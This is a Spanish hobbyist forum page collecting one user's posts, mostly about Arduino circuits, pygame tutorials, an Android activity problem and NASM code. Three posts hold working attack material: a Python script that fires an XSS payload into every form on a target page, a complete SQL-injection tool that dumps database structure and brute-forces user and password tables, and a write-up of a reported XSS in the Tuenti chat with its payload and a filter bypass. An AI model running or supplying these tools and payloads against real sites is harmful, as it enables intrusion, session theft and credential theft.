Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - braulio--

#1
Esa es la pregunta que quería haceros.

¿Por qué cada vez que se toca la punta del cable de entrada un amplificador con los dedos emite ese sonido tan sucio?

He estado intentando investigarlo por mi cuenta, pero no he podido llegar a ninguna conclusión satisfactoria.

Gracias.
#2
Foro Libre / Temas "comerciales" de ciencia.
23 Enero 2011, 17:14 PM
¿Cuáles creen que son los temas más comerciales de la ciencia? (con comercial me refiero a que llamen la atención en los medios de comunicación por ejemplo)

Voy a decir dos : biotecnología e inteligencia artificial.
#3
Hola, comparto este documento que he escrito con ustedes :

Capítulo 1:
https://docs.google.com/document/d/174fkSJdIA_X9idjL1MkWOtpO92McHpLSI0mruh41oBM/edit?hl=es

Capítulo 2:
http://alfffa.wordpress.com/2011/01/03/introduccion-a-la-ingenieria-inversa-en-linux-ii/

Espero que lo disfruten. Si tienen alguna duda pueden preguntar aquí.
#4
Java / [Android][duda] Llamar a tu propia activity
4 Diciembre 2010, 17:06 PM
Bueno, estoy programando una app para android y me están saliendo algunos problemas.

Tengo la actividad principal que se llama Alfffa_Chart que es así:
Código (java) [Seleccionar]

package alfffa.Chart;



import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;



public class Alfffa_Chart extends Activity {

/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
       
}
public boolean onCreateOptionsMenu(Menu mimenu)
{
super.onCreateOptionsMenu(mimenu);
mimenu.add(0,0, 0, "Hola, llama a mi otra activity");
return true;
}
public boolean onMenuItemSelected(int featuredId, MenuItem item)
{
try
{
super.onMenuItemSelected(featuredId, item);

switch(item.getItemId()){
case 0:
menu();
break;
}
return true;
}
catch (Exception e)
{
Log.d("ASADFASD",e.toString());
return false;
}
}

private void menu()
{
try
{
        Intent intento = new Intent();
        intento.setClassName(this, "alfffa.Chart.Menu1");
startActivity(intento);
}
catch (Exception e)
{
Log.d("ASDFASDFAErrore",e.toString());
}
}


Y luego tengo la clase Menu1 que es así:
Código (java) [Seleccionar]

package alfffa.Chart;

import android.app.Activity;
import android.os.Bundle;

public class Menu1 extends Activity {

/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.menu1);
       
}
}

Y aquí la porción del android_manifest en la que hay que poner las actividades :
Código (xml) [Seleccionar]

<activity android:name=".Alfffa_Chart"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
       <activity android:name="alfffa.Chart.Menu1"
                  android:label="Menu1" >
            <intent-filter>
                <action android:name="android.intent.action.MENU1" />
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity>


Es decir, la actividad principal tiene un menú con un elemento y ese elemento se encarga de cargar una actividad llamada Menu1. El error está en que cuando hago click sobre ese elemento me da error y la aplicación tiene que cerrarse. Una cosa extraña es que no me caza ninguna excepción.

¿Alguien sabe qué es lo que estoy haciendo mal ?

Aclaro que el layout menu1 existe y está bien escrito.
#5
Bueno, he hecho otro proyecto que puede ser minimamente interesante y lo voy a colgar.

Ver foto aqui (el proxy ese de las imágenes me ha jodido el ponerla directamente)

El proyecto consiste en que si tapas el ldr (no tengo más sensores) los servos se mueven en una dirección y si no lo tapas gira en la otra dirección.
Aquí una demostración :

[youtube=425,350]http://www.youtube.com/watch?v=tJZGOmvmVMY[/youtube]

Y el código :
Código (cpp) [Seleccionar]

#include <Servo.h>

Servo myservo;  
Servo myservoc;                

int pos = 0;  
int umbral = 200;// variable to store the servo position
int ldrPin = 5;
void setup()
{
 Serial.begin(9600);
 myservo.attach(9);
 myservoc.attach(10);
}


void loop()
{
 int valor = analogRead(ldrPin);
if (valor < umbral)
{

myservo.write(40);
myservoc.write(540);
delay(100);
}
else
{

 myservo.write(540);
 myservoc.write(40);
 delay(100);

}
Serial.println(valor);
}


A los servos que compré les tuve que hacer una modificación para que girara mas de 360º así que no vale con cualquier servo.
#6
Bueno, os voy a mostrar el pequeño proyecto que hice en un momento de aburrimiento.



Eso de arriba es el circuito de arduino, consta de dos ldr que en la imagen aparecen a la izquierda y a la derecha , y un botón. Están conectados a entradas de arduino y lo que hace el programa de arduino es mandar información sobre el estado de las ldr (solo manda un 0 o un 1 dependiendo de que la entrada analógica supere un límite o no) y el botón (si está pulsado o no).

Ya en el ordenador he hecho dos programas en python que reciben información del puerto de arduino.


Por ahora os enseño el segundo que hice con ayuda de pygame. Consiste en que crea una ventana con un cuadrado en su interior y dependiendo de si tapas o no los ldr (si le dejas de dar luz) se moverá hacia un lado u otro, el botón sirve para cambiar el color del cuadrado.

Os muestro un vídeo :
[youtube=425,350]http://www.youtube.com/watch?v=bJqTx4xr68k[/youtube]

Se pueden usar las dos manos a la vez, pero como estaba grabando tenía una mano ocupada.

Os dejo los códigos :

El de arduino :
Código (cpp) [Seleccionar]

int ldrD = 0;
int ldrI = 5;
int boton = 3;
int umbral = 150;
void setup()
{
 Serial.begin(9600);
}
void loop()
{
 int luzD = analogRead(ldrD);
 int luzI = analogRead(ldrI);
 if (digitalRead(boton) == HIGH)
 {
   Serial.print("1");
 }
 else
 {
   Serial.print("0");
 }
 if (luzD < umbral)
 {
   if (luzI< umbral)
   {
     Serial.println("11");
   }
   else
   {
     Serial.println("01");
   }
 }
 else
 {
   if (luzI < umbral)
   {
     Serial.println("10");
   }
   else {
     Serial.println("00");
   }
 }
 delay(100);
}


Y el de python :
Código (python) [Seleccionar]
import pygame,serial,random
ser = serial.Serial('/dev/ttyUSB4',9600) # Modificar por vuestro puerto
pygame.init()

x,y = 500,500
avance = 5
class cosa(pygame.sprite.Sprite):
 def __init__(self,screen):
   self.color = 255
   self.me = pygame.Surface([50,50])
   self.me.fill((self.color,self.color,self.color))
   self.positionx = 0
   self.positiony = 0
   self.screen = screen
 def update(self):
   leido = ser.readline()
   if leido[1] == '1' :
     self.positiony+=avance
   else :
     self.positiony-=avance
   if leido[2] == '1':
     self.positionx+=avance
   else :
     self.positionx-=avance
   if leido[0] == '1': self.colorear()
   self.comprobarcoordenadas()
   self.screen.blit(pygame.Surface([x,y]),(0,0))
   self.screen.blit(self.me,(self.positionx,self.positiony))
   pygame.display.flip()
 def comprobarcoordenadas(self):
   if self.positionx > x : self.positionx-=avance
   if self.positionx < 0 : self.positionx+=avance
   if self.positiony > y : self.positiony-=avance
   if self.positiony < 0 : self.positiony+=avance
 def colorear(self):
   self.color = (self.color+1)%255
   self.me.fill(((self.color+random.randint(0,255))%255,(self.color+random.randint(0,255))%255,self.color))  
screen = pygame.display.set_mode([x, y])
caja = cosa(screen)
while 1:
 caja.update()


Quien quiera usar el de python tendrá que instalar pygame y pyserial.

Aquí os dejo otro que sirve para mover el ratón con el mismo circuito :

Código (python) [Seleccionar]

#!/usr/bin/python

import serial
import Xlib.display
from Xlib.ext import xtest  
from Xlib import X

class MouseControl:
 def __init__(self):
   self.display = Xlib.display.Display()
   self.screen = self.display.screen()
   self.root = self.screen.root
   self.mousex = 500
   self.mousey = 500
 def arriba(self):
   self.mousey += 10
   if self.mousey > 780 : self.mousey-=10
   self.root.warp_pointer(self.mousex,self.mousey)
   self.display.sync()
 def abajo(self):
   self.mousey -= 10
   if self.mousey<0 : self.mousey +=10
   self.root.warp_pointer(self.mousex,self.mousey)
   self.display.sync()
 def izquierda(self):
   self.mousex -= 10
   if self.mousex < 0 : self.mousex+=10
   self.root.warp_pointer(self.mousex,self.mousey)
   self.display.sync()
 def derecha(self):
   self.mousex += 10
   if self.mousex > 1020 : self.mousex-=10
   self.root.warp_pointer(self.mousex,self.mousey)
   self.display.sync()
 def click(self):
   xtest.fake_input(self.display, X.ButtonPress, 1)  
   xtest.fake_input(self.display, X.ButtonRelease, 1)
   self.display.sync()
ser = serial.Serial('/dev/ttyUSB4',9600) #Modificar por vuestro puerto
mouse = MouseControl()
while 1 :
 leido = ser.readline()
 print mouse.mousex ," ", mouse.mousey
 if leido[0] == '1':
   mouse.click()
 if leido[1] == '1':
   mouse.arriba()
 else :
   mouse.abajo()
 if leido[2] == '1':
   mouse.derecha()
 else : mouse.izquierda()


El que quiera usar este tendrá que instalar además Xlib para python.

Solo funciona en linux.
#7
Antes de nada, tengo que decir que siento postear la duda y no  haber encontrado la información que buscaba. Las cosas que he encontrado no las he entendido y de verdad, siento postearlo.

Miren, tengo un motor de 3.5 V conectado a una salida de PWM de arduino y aunque lo ponga a 5 voltios no funciona, por lo que la culpa es de la intensidad.

Tengo un transistor NPN y no estoy muy seguro de como conectarlo, tengo estas ideas :
  • Quiero hacer que la salida sea el colector.
  • Supongo que los pulsos de arduino van a la base.
  • No tengo ni idea de que hacer con el emisor, pero como la tensión de colector a emisor tiene que ser positiva supongo que debería conectar el emisor a masa no? (repito que no tengo ni idea, posiblemente esté diciendo una tontería)
  • Supongo que el V de la base tiene que ser mayor que el del colector

    Ya no tengo más ideas, a ver si alguien me puede orientar y muchas gracias.
#8
Electrónica / Problema con motores CC.
18 Junio 2010, 17:20 PM
Hola,
a la espera de una placa arduino y unos cuantos servos para un proyecto me puse a jugar con unos motores de CC.
Al empezar con ellos me dí cuenta de que tengo un problema que me parece algo extraño, os comento.

Hice un circuito muy simple para probar los motores que contaba con :
  • Fuente de 9 V
  • Resistencia de 56 ohms
  • Motor (3.5 V)

    Probé con esa resistencia por que con una resistencia de doble valor no funciona.
    Vale, hasta ahí todo correcto, pero cuando lo conectaba todo, a veces no funcionaba, y para hacerlo funcionar tenía que conectar la fuente directamente al motor sin la resistencia durante un momento y luego conectarlo a la resistencia.

    ¿Alguien sabe por qué no funciona directamente?
    Gracias.
#9
A ver si sois capaces de resolver este reto:
Tenéis que hacer una función que tome como parametro la longitud de un lado de un pentagono y devuelva el area del pentagono que se formaría en su interior al trazar las diagonales :

Yo lo intentaré también, a ver como os va.
#10
Pues pongo este programa para los que les interese esto de pygame. Cualquier duda pregunten.
Para probarlo necesitan tener pygame instalado.
Os pongo una captura de pantalla de como va :

Código (python) [Seleccionar]

#!/usr/bin/python
import pygame,random
xp,yp = 400,400
pantalla = pygame.display.set_mode((xp,yp))
pantalla.fill((255,255,255))
for x in range(0,xp,20):
 pygame.draw.line(pantalla, (0,0,0) , (x, 1), (x, 800))
for y in range(0,yp,20):
 pygame.draw.line(pantalla, (0,0,0) , (1, y), (800, y))
pygame.draw.line(pantalla,(0,0,0), (yp/2,0),(yp/2,xp),4)
pygame.draw.line(pantalla,(0,0,0), (0,xp/2),(yp,xp/2),4)
pygame.draw.circle(pantalla, (0,0,0), (xp/2,yp/2),5)
pygame.display.flip()
#### La pantalla esta cargada totalmente a partir de aqui
while 1:
colora,colorb,colorc = random.randint(0,250),random.randint(0,250),random.randint(0,250)
funcion = raw_input("f(x)= ")
listacoordenadas = []
for x in range(-6,7):
 listacoordenadas.append((x*20+xp/2,yp/2-eval(funcion)*20))
for indice in range(len(listacoordenadas)-1):
 pygame.draw.line(pantalla,(colora,colorb,colorc), listacoordenadas[indice],listacoordenadas[indice+1],4)
pygame.display.flip()
raw_input()

 
#11
Hola, me empecé a interesar por este mundo y ya he hecho circuitos para encender leds y esas cosas básicas. He buscado en google, pero no encuentro lo que busco.
Ahora lo que me gustaría es mezclarlo con software y mi primera idea después de buscar información fue usar el puerto paralelo, pero al buscar el puerto paralelo en mi máquina descubrí que no tenía.
Después de buscar un poco más vi que se podía hacer por puerto serie, o com, o RS232 y mi pc si poseía uno de estos puertos.
Ya sé que el número de pines es distinto, pero a la hora de programar (C) ... es igual que el puerto paralelo, osea... lo que se hace es 'accionar y desaccionar' pines que van mandando 5 v?
Se hace con las mismas funciones que el puerto paralelo pero con la dirección del puerto de serie?
Gracias.
#12
Ya he configurado el certificado, el usuario...
Alguien entiende por qué me aparece así?

Gracias.
#13
Debido a que he visto que en el foro hay interés por python, he decidido que voy a hacer un pequeño taller sobre la librería para desarrollo de juegos pygame.
Las lecciones de este taller se irán poniendo en este mismo post para que estén todas juntas.
Debo aclarar que esto no va a ser un análisis de los métodos y clases que ofrece pygame, sino una aplicación práctica de los que considero mas importantes.
Instalación
  • En linux.
    Python viene preinstalado y para instalar pygame basta con bajarse el paquete de los repositorios.

    # yum install pygame
    [...]
    $ sudo apt-get install pygame
    [...]
    # zypper install pygame
    [...]

    Depende de la distribución que uséis.
  • En windows
    Python os lo podéis bajar de su web : (yo voy a usar la versión 2.6)
    Y para pygame os podéis bajar el instalador desde esta web : http://www.pygame.org/download.shtml


    Un poco de teoría
    Todos los juegos que podéis imaginar, siguen este esquema:
    Mientras no se termine:
  • Procesar entradas (que pueden ser del teclado, del ratón...)
  • Actualizar gráficos (puede ser mover un marcianito, cambiar de color una roca ...)
  • Actualizar sonido (puede ser un disparo, los expectadores grintando gol ...)
  • Mostrar gráficos (ponerlos en la pantalla)
  • Reproducir sonidos (hacer que suenen)
    A cada repetición que se hace de este esquema se le llama frame.
    Empezando con pygame
    Por el momento, para importar pygame haremos esto:
    Código (python) [Seleccionar]

    import pygame

    Creando la ventana y mostrando la primera imagen
    Para crear la ventana se haría así:
    Código (python) [Seleccionar]

    import pygame
    ventana = pygame.display.set_mode((800,400))
    raw_input()

    Donde 800 y 400 son el tamaño de la ventana.
    Si lo ejecutan verán que les aparece una ventana.
    También les voy a aclarar que todo lo que se puede mostrar en esa ventana son objetos Surface de la librería pygame.
    Para mostrar una imagen hay que hacer esto :
    Código (python) [Seleccionar]

    import pygame
    ventana = pygame.display.set_mode((800,400))
    imagen = pygame.image.load('nombredeimagen')
    ventana.blit(imagen,(0,0))
    pygame.display.flip()
    raw_input()

    pygame.image.load() crea una surface a partir de una imagen donde nombredeimagen es el nombre de una imagen que esté en el mismo directorio que el juego.
    Lo que hace el método blit es colocar la Surface que le pasemos como argumento en las coordenadas que le pasemos como segundo argumento siendo 0,0 la esquina superior izquierda.
    pygame.display.flip() lo que hace es mostrar los gráficos que tenga que mostrar.
    Aquí acaba la primera lección, mas tarde seguiré.
    Mover imágenes por la pantalla
    Para mover imágenes por la pantalla lo que hay que hacer es ir actualizando un par de variables que servirán como cordenadas del método .blit(). De esta forma :
    Código (python) [Seleccionar]

    import pygame,time
    pantalla = pygame.display.set_mode((600,400)) # Crea la pantalla con esas dimensiones
    imagen = pygame.image.load('imagen.gif') # Carga la imagen

    while 1:
    for i in range(400):
     pantalla.blit(imagen,(i,i)) # Pone la imagen en las coordenadas que diga la variable
     pygame.display.flip()
     time.sleep(0.01)
    for i in range(400):
     pantalla.blit(imagen,(400-i,400-i))
     pygame.display.flip()
     time.sleep(0.01)

    Si prueban ese código verán que la imagen.gi (podéis cambiarle el nombre por el nombre de la imagen que usaron antes) se va moviendo en diagonal por la pantalla , pero , hay un problema y es que la imagen se va sobreponiendo sin borrar la anterior.
    En pygame , no se pueden borrar las imágenes que aparecen en la pantalla, pero lo que si se puede hacer es tapar lo que había antes con una imagen del tamaño de la ventana.De esta forma :
    Código (python) [Seleccionar]

    import pygame,time
    pantalla = pygame.display.set_mode((600,400)) # Crea la pantalla con esas dimensiones
    imagen = pygame.image.load('imagen.gif') # Carga la imagen
    fondo = pygame.Surface((600,400)) # Crea una imagen (Surface)
    fondo.fill([255,255,255]) # La rellena de color blanco (255,255,255esla representacion de rojo,amarillo y azul de la imagen)
    while 1:
    for i in range(400):
     pantalla.blit(fondo,(0,0)) # Carga el fondo en la pantalla, tapando todo lo que hubiera antes
     pantalla.blit(imagen,(i,i)) # Pone la imagen en las coordenadas que diga la variable i tapando esa parte del fondo
     pygame.display.flip()
     time.sleep(0.01)
    for i in range(400):
     pantalla.blit(fondo,(0,0))
     pantalla.blit(imagen,(400-i,400-i))
     pygame.display.flip()
     time.sleep(0.01)

    Y así se evita el problema.
#14
Como he visto que hay varias personas con python dentro del foro, se me ocurrió la idea de hacer un sencillo juego online .
Quien quiera participar que lo ponga aquí.
Requisitos :
  • Entender la lógica de la programación
  • Programar algo básico en python
    Os aclaro, que yo ya he hecho varios juegos y que tengo la idea de como lo podríamos hacer.
    También decir que no va a ser nada serio que una vez que estéis dentro tengáis que seguir haciéndolo medio obligados, que se irá de forma tranquila.
#15
Bueno, la he hecho esta mañana, os la pongo para que los que no sepan mucho vayan aprendiendo y ya la iré mejorando.
Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable.
Código (python) [Seleccionar]

#!/usr/bin/python
import urllib2,urllib,sys,string
from HTMLParser import HTMLParser
class parsearhtml(HTMLParser):
   formactual = -1
   atributosform = []
   atributosinput = []
   def handle_starttag(self, tag, attrs):
     atributosform = {}
     atributosinput = {}
     if tag=="form":
       for i in range(len(attrs)):
         atributosform[attrs[i][0]] = attrs[i][1]
       self.atributosform.append(atributosform)
       self.atributosinput.append([])
       self.formactual+=1
     if tag=="input":
       for i in range(len(attrs)):
         atributosinput[attrs[i][0]] = attrs[i][1]
       self.atributosinput[self.formactual].append(atributosinput)
def obtenerhost(url): #Funcion que obtiene el host
  if url[0:7]=='http://':
    return url[0:url[7:].find('/')+7]
  if url[0:8]=='https://':
    return url[0:url[8:].find('/')+8]
  return url
def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo...
  i = len(url)-1
  while i!=0:
    if url[i]=='/': return url[:i+1]
    i-=1
  return url
def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables
  global host,carpeta
  if action.find('http://')!=-1 or action.find('https://')!=-1:
    return action
  if action[0]=='/':
    return host+action
  else :
    return carpeta+action
url = sys.argv[1]
host = obtenerhost(url)
carpeta =  obtenercarpeta(url)
#Variables de localizacion
useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"
cabeceras = { "User-Agent" : useragent }
code = urllib2.urlopen(url).read()
print "Codigo de la pagina obtenido ..."
try :
parser = parsearhtml()
parser.feed(code) # Ha recogido todos los forms y los inputs
except :
print "Hubo un error parseando el HTML"
#Ya tengo todos los datos necesarios
print "Datos obtenidos ..."
payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS
atributosform = parser.atributosform
atributosinput = parser.atributosinput
if len(atributosform)==0: print "No se encontraron forms"
for indice in range(len(atributosform)):
  #Se obtiene la direccion a la que mandar los datos
  print "Obteniendo direccion a la que mandar los datos... "
  if atributosform[indice].has_key('action'):
    urlamandar = obtenerruta(atributosform[indice]['action'])
  else:
    urlamandar = url
  #Se empiezan a rellenar las variables con los payloads correspondientes...
  maliciousdata = {}
  print "Rellenando con los payloads las variables ..."
  for varinput in atributosinput[indice]:
    if varinput.has_key('name'):
      maliciousdata[varinput['name']] = payloads[1]
  maliciousdata = urllib.urlencode(maliciousdata)
  req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras)
  codeinfectado = urllib2.urlopen(req).read()
  print "Escribiendo el archivo ",str(indice)+".html"
  resultado = open(str(indice)+'.html','w')
  resultado.write(codeinfectado)
 
Le podéis modificar facilmente el user-agent y el payload.
Uso :

python xss.py http://localhost/xss.php
#16
Bueno , aquí les dejo una herramienta muy útil que ahorra mucho trabajo muchas veces, os dejo unas capturas.
Encuentra la estructura de la bd por information_schema y si no hay brutea el nombre de las tablas y columnas.

Siendo esa la web con SQLi :

Si escribes :
./sqli [urlvulnerable] -c
Podrás ver los registros de la tabla que tu quieras .

Si haces :
./sqli [urlvulnerable] -r
Te dirá todas las bases de datos ,tablas y columnas menos las del information_schema (porque son muchas y no tan necesarias).
Si no pones ni -r ni -c te hará las dos.
Código (python) [Seleccionar]

#!/usr/bin/python
import urllib2,sys,string
# Sql injector helper by braulio23
# Usage sql.py http://host/app?vulnparameter=
# Example : sql.py http://localhost/sql.php?id=
def entre(code,delimita):
try :
 for numero in range(len(code)):
   if code[numero:numero+len(delimita)]==delimita:
      indice1=numero+len(delimita)
      break
 for numero2 in range(indice1+1,len(code)):
   if code[numero2:numero2+len(delimita)]==delimita:
      indice2 = numero2
      return code[indice1+1:indice2]
except : return False    
def codigo(url):
return urllib2.urlopen(url).read()
def char(cadena):
cadena+="~"
returned = "char("
for caracter in cadena:
  returned+=str(ord(caracter))
  if caracter!="~": returned+=","
return returned+")"
def encontrar(code,cadena):

   longitudcode = len(code)

   longitudcadena = len(cadena)

   for indice in range(0,longitudcode-4):

       if code[indice:indice+longitudcadena]==cadena:      

           return 0
def consultacorrecta(url,listadecosasaencontrar):
 pagina = urllib2.urlopen(url)
 codigo = pagina.read()
 for cosa in listadecosasaencontrar:
   if encontrar(codigo,cosa)==0:
     return True
 return False  
def printable(urlbase,numero,columnas):
 urlbase+="-1%20union%20select%20"
 listadecosas = []
 for a in range(columnas):
   if a==numero:
     urlbase+=char('aaabaaabaaabaaabaaabaaabaabababab')
     listadecosas.append('aaabaaabaaabaaabaaabaaabaabababab')
   else :
     urlbase+='concat(202020,'+str((a+1)*31337)+')'
   if a!=columnas-1 : urlbase+=','
 return consultacorrecta(urlbase+'%20--',listadecosas)
def obtenerdato(urlbase,printables,columnas,variable,tabla='okokokok',limit=0):
urlbase+="-1%20union%20select%20"
for a in range(columnas):
 if a==printables:
   urlbase+='concat('+char('%%%%')+','+variable+','+char('%%%%')+')'
 else :
   urlbase+=str(a)
 if a!=columnas-1 : urlbase+=","
if tabla != 'okokokok' : urlbase+='%20from%20'+tabla
urlbase+='%20limit%20'+str(limit)+',1'
code = codigo(urlbase+'%20--')
return entre(code,'%%%%')
def datosgenerales():
global columnasprintables
print '[+] Version ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'version()')
print '[+] Usuario ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'current_user()')
print '[+] Base de datos ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'database()')
def estructuraconschema():
print "[+]Bases de datos"
i=0
while obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',i)!=False:
 database = obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',limit=i)
 print "[-------------------->]",database
 j=0
 while obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)!=False:
  tabla = obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)
  print "[------------>]",tabla
  k=0
  while obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)!=False:
    columna = obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)
    print '[--->]',columna
    k+=1
  print '\n'
  j+=1
 i+=1
def consultas():
print "---- Consulta personalizada ----"
db=""
while 1:
  db = raw_input("(Escribe Salir para salir) Nombre de la base de datos : ")
  if db=="Salir" : break
  tabla = raw_input("Nombre de la tabla  : ")
  columnas = raw_input("Nombres de las columnas (separadas por comas) : ")
  columnas = columnas.replace(',',",0x20,")
  for lolo in range(1000):
    resultado = obtenerdato(urlvulnerable,columnasprintables[0],numero,'concat('+columnas+')',db+'.'+tabla,lolo)
    if resultado!=False:
      print "Resultado :",resultado
    else :
      print "Ya no quedan mas registros "
      break  
listatablas = ['admin','tblUsers','tblAdmin','user','users','username','noticias','usernames','usuario',
 'name','names','nombre','nombres','usuarios','member','members','admin_table',
 'miembro','miembros','membername','admins','administrator',
 'administrators','passwd','password','passwords','pass','Pass',
 'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
 'member_password','mods','mod','moderators','moderator','user_email',
 'user_emails','user_mail','user_mails','mail','emails','email','address',
 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
 'sistema_usuario','sistema_password','contraseña','auth','key','senha',
 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
     'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
     'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
     'associated','accnt','customers','customer','membres','administrateur','utilisateur',
     'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
     'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','news']
listacolumnas = ['admin_name','codigo','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
         'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
         'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
         'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
         'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
         'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username']
urlvulnerable = sys.argv[1]
columnasprintables = []
print "-----> Cuestiones principales <-----"
for numero in range(500):
  listadecosas=['159753159753']
  urlatestear = urlvulnerable
  urlatestear += "-1%20union%20select%20"
  for columna in range(numero):
    urlatestear+="concat(20101010,"+str((columna+1)*31337)+")"
    listadecosas.append("20101010"+str((columna+1)*31337))
    if columna!=numero-1: urlatestear+=","
  if consultacorrecta(urlatestear+"%20--",listadecosas):
    urlcorrecta = urlatestear
    print "[+] La tabla tiene ",numero,"columnas"
    break
for a in range(numero):
  if printable(urlvulnerable,a,numero):
    columnasprintables.append(a)
if len(sys.argv)<3: sys.argv.append('-rc')
if sys.argv[2]=='-r' or sys.argv[2]=='-rc':
print "-----> Variables generales <-----"
datosgenerales()
if obtenerdato(urlvulnerable,columnasprintables[0],numero,'1','information_schema.tables')!=False:
 print "[+] Tiene information_schema "  
 print "---> Estructura de la base de datos <---"
 estructuraconschema()
else :
 print "[-] No tiene information_schema "
 print "-----> Bruteando tablas <------"
 for tabla in listatablas:
  if obtenerdato(urlvulnerable,columnasprintables[0],numero,'4',tabla)!=False:
   print "[->] Tabla ",tabla,"encontrada"
   for columna in listacolumnas:
     if obtenerdato(urlvulnerable,columnasprintables[0],numero,columna,tabla)!=False:
        print "[-->] Columna ",columna,"encontrada"
if sys.argv[2] == '-c' or sys.argv[2]=='-rc':
consultas()

PD: el code es muy feo porque lo programé tarde por la noche.

Suerte.
#17
Nivel Web / Vulnerabilidad XSS en tuenti.
30 Octubre 2009, 17:37 PM
He encontrado esta vulnerabilidad en la página de tuenti y quería compartirla con ustedes.
Advierto que la vulnerabilidad ya ha sido notificada a los administradores y que en breve será arreglada.

Bueno, la vulnerabilidad está en el chat a la hora de poner enlaces.
Si escribes en el chat 'http://hola.com', el código queda algo así :
Código (html4strict) [Seleccionar]

<a href="http://hola.com" title="http://hola.com" onclick="LightBox.init_with_simple_template({'lightbox_id': 'light_box', 'width': '350'}, 'js_template_external_link', {'title': 'Link externo', 'message': 'El link al que intentas acceder está fuera de Tuenti.', 'url':'http://hola.com', 'question': '¿Estás seguro de que deseas continuar?', 'close_button': 'Cerrar', 'continue_button': 'Continuar'}, {'submit_light_box': function(){window.open('http://hola.com'); LightBox.close();}}); return false;" class="externalLink">http://hola.com</a>

Fijense que en el atributo onclick aparece varias veces 'http://hola.com'.
Concretamente fijense en la función window.open(), ahí puedes insertar una comilla simple y escapar de la función.

Lo que se ha escrito en ese mensaje es :
http://haha
Y el código queda así:

Ahora, ya deberíais saber como ejecutar el código javascript que quisierais :

Lo que se ha escrito en ese mensaje es :
http://');alert('XSS
Y el código queda así :

Gracias a este XSS se podrían hacer multiples cosas como robar sesiones.

PD:Si quieres redireccionar de la típica manera con "location='http://google.com';" tendrías que hacerlo asi:
"location='h'+'ttp://google.com&#039;;"
Porque si encuentra en la cadena que mandes "http" lo interpretará como otra cadena.
#18
PHP / Seguridad contra CSRF
23 Agosto 2009, 15:30 PM
Sería seguro que para hacer una cosa como un cierre de sesión , el poner un comentario... pasar por get o por post el session_id() y comprobarlo en la página que hace el session_destroy() o el poner el comentario?
No se si me he explicado muy bien pero bueno...
Gracias
#19
He visto alguno por algún foro.
¿ Cómo se puede postear siendo visitante ?
#20
Estoy en linux, usando nasm y estoy haciendo este código.
Código (asm) [Seleccionar]
section .data:
 fichero: db 'programa'; Nombre que tendra el programa
section .bss:
 texto: resb 16000
section .text:
global _start
_start:
 mov eax,5 ; sys_open()
 pop ebx
 pop ebx ; El nombre de este programa
  pop ebx; Primer argumento
 mov ecx,0 ; Para leer
 int 80h
 ; Ya está en eax
 mov ebx,eax; Ya no(bueno , aun si)
 mov eax,3 ; sys_read
 mov ecx,texto
 mov edx,16000
 int 80h;
 ;El contenido del fichero este está en texto.
 ;Ahora voy a abrir otro fichero
 mov eax,4
 mov ebx,1
 mov ecx,texto
 mov edx,16000
 int 80h


 mov eax,1
 mov ebx,0
 int 80h

 
 

